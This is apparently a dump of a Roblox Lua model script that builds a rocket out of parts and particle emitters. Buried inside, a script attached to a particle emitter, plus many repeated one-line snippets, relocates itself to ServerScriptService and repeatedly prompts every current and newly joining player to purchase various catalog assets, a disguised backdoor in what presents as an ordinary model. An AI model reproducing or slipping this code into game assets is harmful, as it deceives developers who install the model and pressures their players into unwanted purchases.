- for i=1, 2 do wait "9" local wat= 4056200205 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 4056198773 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "15" local wat= 4056197320 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- end))
- MeshPart2.Name = "Rocket"
- MeshPart2.Parent = mas
- MeshPart2.CFrame = CFrame.new(-4.80579472, 7.61200714, 14.4299469, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- MeshPart2.Orientation = Vector3.new(0, -90, 0)
- MeshPart2.Position = Vector3.new(-4.80579472, 7.61200714, 14.4299469)
- MeshPart2.Rotation = Vector3.new(0, -90, 0)
- MeshPart2.Color = Color3.new(0.388235, 0.372549, 0.384314)
- MeshPart2.Size = Vector3.new(10, 3.54999995, 10)
- MeshPart2.Anchored = true
- MeshPart2.BrickColor = BrickColor.new("Dark stone grey")
- MeshPart2.CustomPhysicalProperties = 7.8499999, 0.400000006, 0.25, 1, 1
- MeshPart2.Material = Enum.Material.Metal
- MeshPart2.brickColor = BrickColor.new("Dark stone grey")
- ParticleEmitter3.Parent = MeshPart2
- ParticleEmitter3.Speed = NumberRange.new(300, 300)
- ParticleEmitter3.Color = ColorSequence.new(Color3.new(1, 0.333333, 0),Color3.new(1, 0.333333, 0),Color3.new(1, 0, 0))
- ParticleEmitter3.Enabled = false
- ParticleEmitter3.LightEmission = 1
- ParticleEmitter3.Texture = "rbxasset://textures/particles/explosion01_implosion_main.dds"
- ParticleEmitter3.Transparency = NumberSequence.new(0,1)
- ParticleEmitter3.Size = NumberSequence.new(10,0)
- ParticleEmitter3.EmissionDirection = Enum.NormalId.Bottom
- ParticleEmitter3.Lifetime = NumberRange.new(0.5, 0.5)
- ParticleEmitter3.LockedToPart = true
- ParticleEmitter3.Rate = 1000000000
- ParticleEmitter3.RotSpeed = NumberRange.new(1000000, 1000000)
- ParticleEmitter3.SpreadAngle = Vector2.new(5, 5)
- ParticleEmitter3.VelocitySpread = 5
- Part4.Parent = mas
- Part4.CFrame = CFrame.new(1.51659298, 88.0866165, 30.5800781, 0, -0.866025388, 0.500000238, -1, 0, 0, 0, -0.500000238, -0.866025388)
- Part4.Orientation = Vector3.new(0, 150, -90)
- Part4.Position = Vector3.new(1.51659298, 88.0866165, 30.5800781)
- Part4.Rotation = Vector3.new(-180, 30, 90)
- Part4.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part4.Size = Vector3.new(0.150000006, 0.200000003, 4)
- Part4.Anchored = true
- Part4.BottomSurface = Enum.SurfaceType.Smooth
- Part4.BrickColor = BrickColor.new("Dark stone grey")
- Part4.Material = Enum.Material.Metal
- Part4.TopSurface = Enum.SurfaceType.Smooth
- Part4.brickColor = BrickColor.new("Dark stone grey")
- Part5.Parent = mas
- Part5.CFrame = CFrame.new(-11.1276293, 85.4364777, 23.2797852, 0, -0.866025388, 0.500000238, -1, 0, 0, 0, -0.500000238, -0.866025388)
- Part5.Orientation = Vector3.new(0, 150, -90)
- Part5.Position = Vector3.new(-11.1276293, 85.4364777, 23.2797852)
- Part5.Rotation = Vector3.new(-180, 30, 90)
- Part5.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part5.Size = Vector3.new(0.150000006, 0.200000003, 4)
- Part5.Anchored = true
- Part5.BottomSurface = Enum.SurfaceType.Smooth
- Part5.BrickColor = BrickColor.new("Dark stone grey")
- Part5.Material = Enum.Material.Metal
- Part5.TopSurface = Enum.SurfaceType.Smooth
- Part5.brickColor = BrickColor.new("Dark stone grey")
- MeshPart6.Name = "EnhancedCone"
- MeshPart6.Parent = mas
- MeshPart6.CFrame = CFrame.new(-17.2809219, 45.1870117, 26.9048615, -1, 0, 0, 0, 1, 0, 0, 0, -1)
- MeshPart6.Orientation = Vector3.new(0, 180, 0)
- MeshPart6.Position = Vector3.new(-17.2809219, 45.1870117, 26.9048615)
- MeshPart6.Rotation = Vector3.new(-180, 0, -180)
- MeshPart6.Color = Color3.new(0.792157, 0.796078, 0.819608)
- MeshPart6.Size = Vector3.new(10, 10.7999973, 10)
- MeshPart6.Anchored = true
- MeshPart6.BrickColor = BrickColor.new("Ghost grey")
- MeshPart6.Material = Enum.Material.DiamondPlate
- MeshPart6.brickColor = BrickColor.new("Ghost grey")
- MeshPart7.Name = "Rocket"
- MeshPart7.Parent = mas
- MeshPart7.CFrame = CFrame.new(7.66924191, 7.61200714, 26.9049988, -1, 0, 0, 0, 1, 0, 0, 0, -1)
- MeshPart7.Orientation = Vector3.new(0, 180, 0)
- MeshPart7.Position = Vector3.new(7.66924191, 7.61200714, 26.9049988)
- MeshPart7.Rotation = Vector3.new(-180, 0, -180)
- MeshPart7.Color = Color3.new(0.388235, 0.372549, 0.384314)
- MeshPart7.Size = Vector3.new(10, 3.54999995, 10)
- MeshPart7.Anchored = true
- MeshPart7.BrickColor = BrickColor.new("Dark stone grey")
- MeshPart7.CustomPhysicalProperties = 7.8499999, 0.400000006, 0.25, 1, 1
- MeshPart7.Material = Enum.Material.Metal
- MeshPart7.brickColor = BrickColor.new("Dark stone grey")
- ParticleEmitter8.Parent = MeshPart7
- ParticleEmitter8.Speed = NumberRange.new(300, 300)
- ParticleEmitter8.Color = ColorSequence.new(Color3.new(1, 0.333333, 0),Color3.new(1, 0.333333, 0),Color3.new(1, 0, 0))
- ParticleEmitter8.Enabled = false
- ParticleEmitter8.LightEmission = 1
- ParticleEmitter8.Texture = "rbxasset://textures/particles/explosion01_implosion_main.dds"
- ParticleEmitter8.Transparency = NumberSequence.new(0,1)
- ParticleEmitter8.Size = NumberSequence.new(10,0)
- ParticleEmitter8.EmissionDirection = Enum.NormalId.Bottom
- ParticleEmitter8.Lifetime = NumberRange.new(0.5, 0.5)
- ParticleEmitter8.LockedToPart = true
- ParticleEmitter8.Rate = 1000000000
- ParticleEmitter8.RotSpeed = NumberRange.new(1000000, 1000000)
- ParticleEmitter8.SpreadAngle = Vector2.new(5, 5)
- ParticleEmitter8.VelocitySpread = 5
- Part9.Parent = mas
- Part9.CFrame = CFrame.new(-8.45560551, 86.7865067, 20.6078186, 0, -0.500000238, 0.866025388, -1, 0, 0, 0, -0.866025388, -0.500000238)
- Part9.Orientation = Vector3.new(0, 120, -90)
- Part9.Position = Vector3.new(-8.45560551, 86.7865067, 20.6078186)
- Part9.Rotation = Vector3.new(-180, 60, 90)
- Part9.Color = Color3.new(0.392157, 0.588235, 0.588235)
- Part9.Transparency = 0.80000001192093
- Part9.Size = Vector3.new(2.5999999, 0.0500000007, 4)
- Part9.Anchored = true
- Part9.BottomSurface = Enum.SurfaceType.Smooth
- Part9.BrickColor = BrickColor.new("Sand blue")
- Part9.Material = Enum.Material.Glass
- Part9.TopSurface = Enum.SurfaceType.Smooth
- Part9.brickColor = BrickColor.new("Sand blue")
- Part10.Parent = mas
- Part10.CFrame = CFrame.new(1.51653194, 85.4364243, 23.2797852, 0, 0.866025388, 0.500000238, -1, 0, 0, 0, -0.500000238, 0.866025388)
- Part10.Orientation = Vector3.new(0, 30, -90)
- Part10.Position = Vector3.new(1.51653194, 85.4364243, 23.2797852)
- Part10.Rotation = Vector3.new(0, 30, -90)
- Part10.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part10.Size = Vector3.new(0.150000006, 0.200000003, 4)
- Part10.Anchored = true
- Part10.BottomSurface = Enum.SurfaceType.Smooth
- Part10.BrickColor = BrickColor.new("Dark stone grey")
- Part10.Material = Enum.Material.Metal
- Part10.TopSurface = Enum.SurfaceType.Smooth
- Part10.brickColor = BrickColor.new("Dark stone grey")
- Part11.Parent = mas
- Part11.CFrame = CFrame.new(-11.1276293, 88.0866165, 23.2797852, 0, -0.866025388, 0.500000238, -1, 0, 0, 0, -0.500000238, -0.866025388)
- Part11.Orientation = Vector3.new(0, 150, -90)
- Part11.Position = Vector3.new(-11.1276293, 88.0866165, 23.2797852)
- Part11.Rotation = Vector3.new(-180, 30, 90)
- Part11.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part11.Size = Vector3.new(0.150000006, 0.200000003, 4)
- Part11.Anchored = true
- Part11.BottomSurface = Enum.SurfaceType.Smooth
- Part11.BrickColor = BrickColor.new("Dark stone grey")
- Part11.Material = Enum.Material.Metal
- Part11.TopSurface = Enum.SurfaceType.Smooth
- Part11.brickColor = BrickColor.new("Dark stone grey")
- MeshPart12.Name = "EnhancedCone"
- MeshPart12.Parent = mas
- MeshPart12.CFrame = CFrame.new(-4.80591679, 45.1870117, 14.429924, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- MeshPart12.Orientation = Vector3.new(0, -90, 0)
- MeshPart12.Position = Vector3.new(-4.80591679, 45.1870117, 14.429924)
- MeshPart12.Rotation = Vector3.new(0, -90, 0)
- MeshPart12.Color = Color3.new(0.792157, 0.796078, 0.819608)
- MeshPart12.Size = Vector3.new(10, 10.7999973, 10)
- MeshPart12.Anchored = true
- MeshPart12.BrickColor = BrickColor.new("Ghost grey")
- MeshPart12.Material = Enum.Material.DiamondPlate
- MeshPart12.brickColor = BrickColor.new("Ghost grey")
- MeshPart13.Name = "EnhancedCone"
- MeshPart13.Parent = mas
- MeshPart13.CFrame = CFrame.new(7.66945553, 45.1870117, 26.9047852, -1, 0, 0, 0, 1, 0, 0, 0, -1)
- MeshPart13.Orientation = Vector3.new(0, 180, 0)
- MeshPart13.Position = Vector3.new(7.66945553, 45.1870117, 26.9047852)
- MeshPart13.Rotation = Vector3.new(-180, 0, -180)
- MeshPart13.Color = Color3.new(0.792157, 0.796078, 0.819608)
- MeshPart13.Size = Vector3.new(10, 10.7999973, 10)
- MeshPart13.Anchored = true
- MeshPart13.BrickColor = BrickColor.new("Ghost grey")
- MeshPart13.Material = Enum.Material.DiamondPlate
- MeshPart13.brickColor = BrickColor.new("Ghost grey")
- Part14.Parent = mas
- Part14.CFrame = CFrame.new(-11.1276178, 88.0866165, 30.5801086, 0, 0.866025388, 0.500000238, -1, 0, 0, 0, -0.500000238, 0.866025388)
- Part14.Orientation = Vector3.new(0, 30, -90)
- Part14.Position = Vector3.new(-11.1276178, 88.0866165, 30.5801086)
- Part14.Rotation = Vector3.new(0, 30, -90)
- Part14.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part14.Size = Vector3.new(0.150000006, 0.200000003, 4)
- Part14.Anchored = true
- Part14.BottomSurface = Enum.SurfaceType.Smooth
- Part14.BrickColor = BrickColor.new("Dark stone grey")
- Part14.Material = Enum.Material.Metal
- Part14.TopSurface = Enum.SurfaceType.Smooth
- Part14.brickColor = BrickColor.new("Dark stone grey")
- Part15.Parent = mas
- Part15.CFrame = CFrame.new(-4.80555058, 85.4364243, 19.6297913, 0, 0, 1, -1, 0, 0, 0, -1, 0)
- Part15.Orientation = Vector3.new(0, 90, -90)
- Part15.Position = Vector3.new(-4.80555058, 85.4364243, 19.6297913)
- Part15.Rotation = Vector3.new(-90, 90, 0)
- Part15.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part15.Size = Vector3.new(0.150000006, 0.200000003, 4)
- Part15.Anchored = true
- Part15.BottomSurface = Enum.SurfaceType.Smooth
- Part15.BrickColor = BrickColor.new("Dark stone grey")
- Part15.Material = Enum.Material.Metal
- Part15.TopSurface = Enum.SurfaceType.Smooth
- Part15.brickColor = BrickColor.new("Dark stone grey")
- Part16.Parent = mas
- Part16.CFrame = CFrame.new(-1.15546131, 85.4364243, 20.6077881, 0, 0.500000238, 0.866025388, -1, 0, 0, 0, -0.866025388, 0.500000238)
- Part16.Orientation = Vector3.new(0, 60, -90)
- Part16.Position = Vector3.new(-1.15546131, 85.4364243, 20.6077881)
- Part16.Rotation = Vector3.new(0, 60, -90)
- Part16.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part16.Size = Vector3.new(0.150000006, 0.200000003, 4)
- Part16.Anchored = true
- Part16.BottomSurface = Enum.SurfaceType.Smooth
- Part16.BrickColor = BrickColor.new("Dark stone grey")
- Part16.Material = Enum.Material.Metal
- Part16.TopSurface = Enum.SurfaceType.Smooth
- Part16.brickColor = BrickColor.new("Dark stone grey")
- Part17.Parent = mas
- Part17.CFrame = CFrame.new(-1.15546131, 88.0864716, 20.6077881, 0, 0.500000238, 0.866025388, -1, 0, 0, 0, -0.866025388, 0.500000238)
- Part17.Orientation = Vector3.new(0, 60, -90)
- Part17.Position = Vector3.new(-1.15546131, 88.0864716, 20.6077881)
- Part17.Rotation = Vector3.new(0, 60, -90)
- Part17.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part17.Size = Vector3.new(0.150000006, 0.200000003, 4)
- Part17.Anchored = true
- Part17.BottomSurface = Enum.SurfaceType.Smooth
- Part17.BrickColor = BrickColor.new("Dark stone grey")
- Part17.Material = Enum.Material.Metal
- Part17.TopSurface = Enum.SurfaceType.Smooth
- Part17.brickColor = BrickColor.new("Dark stone grey")
- MeshPart18.Name = "EnhancedCone"
- MeshPart18.Parent = mas
- MeshPart18.CFrame = CFrame.new(-4.80591679, 45.1870117, 39.3802338, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- MeshPart18.Orientation = Vector3.new(0, -90, 0)
- MeshPart18.Position = Vector3.new(-4.80591679, 45.1870117, 39.3802338)
- MeshPart18.Rotation = Vector3.new(0, -90, 0)
- MeshPart18.Color = Color3.new(0.792157, 0.796078, 0.819608)
- MeshPart18.Size = Vector3.new(10, 10.7999973, 10)
- MeshPart18.Anchored = true
- MeshPart18.BrickColor = BrickColor.new("Ghost grey")
- MeshPart18.Material = Enum.Material.DiamondPlate
- MeshPart18.brickColor = BrickColor.new("Ghost grey")
- MeshPart19.Name = "Engine"
- MeshPart19.Parent = mas
- MeshPart19.CFrame = CFrame.new(-4.80591679, 59.1117554, 27.0800323, -1, 0, 0, 0, 1, 0, 0, 0, -1)
- MeshPart19.Orientation = Vector3.new(0, 180, 0)
- MeshPart19.Position = Vector3.new(-4.80591679, 59.1117554, 27.0800323)
- MeshPart19.Rotation = Vector3.new(-180, 0, -180)
- MeshPart19.Color = Color3.new(0.388235, 0.372549, 0.384314)
- MeshPart19.Size = Vector3.new(14.5, 4.55000019, 14.5)
- MeshPart19.Anchored = true
- MeshPart19.BrickColor = BrickColor.new("Dark stone grey")
- MeshPart19.Material = Enum.Material.Metal
- MeshPart19.brickColor = BrickColor.new("Dark stone grey")
- ParticleEmitter20.Parent = MeshPart19
- ParticleEmitter20.Speed = NumberRange.new(300, 300)
- ParticleEmitter20.Color = ColorSequence.new(Color3.new(0, 1, 1),Color3.new(0, 0.666667, 1),Color3.new(1, 0, 0))
- ParticleEmitter20.Enabled = false
- ParticleEmitter20.LightEmission = 1
- ParticleEmitter20.Texture = "rbxasset://textures/particles/explosion01_implosion_main.dds"
- ParticleEmitter20.Transparency = NumberSequence.new(0,1)
- ParticleEmitter20.Size = NumberSequence.new(0,10,0)
- ParticleEmitter20.EmissionDirection = Enum.NormalId.Bottom
- ParticleEmitter20.Lifetime = NumberRange.new(0.5, 0.5)
- ParticleEmitter20.LockedToPart = true
- ParticleEmitter20.Rate = 1000000000
- ParticleEmitter20.RotSpeed = NumberRange.new(1000000, 1000000)
- ParticleEmitter20.SpreadAngle = Vector2.new(5, 5)
- ParticleEmitter20.VelocitySpread = 5
- Script21.Parent = ParticleEmitter20
- table.insert(cors,sandbox(Script21,function()
- for i=1, 2 do wait "1" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "2" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "9" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "15" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "2" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "9" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "15" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "2" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "9" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "15" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "2" local wat= 4056213658 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 4056229665 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "9" local wat= 4056212354 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 4056210981 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "15" local wat= 4056209461 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 4056207947 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "2" local wat= 4056169430 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 4056206460 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "9" local wat= 4056171231 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 4056217842 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "15" local wat= 4056172762 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "2" local wat= 4056175866 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 4056177509 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "9" local wat= 4056186646 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 4056185041 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "15" local wat= 4056183483 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "2" local wat= 4056181953 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 4056180574 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "9" local wat= 4056179120 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 4056188127 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "15" local wat= 4056189702 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "2" local wat= 4056191326 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 4056192877 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "9" local wat= 4056194387 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 4056195837 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
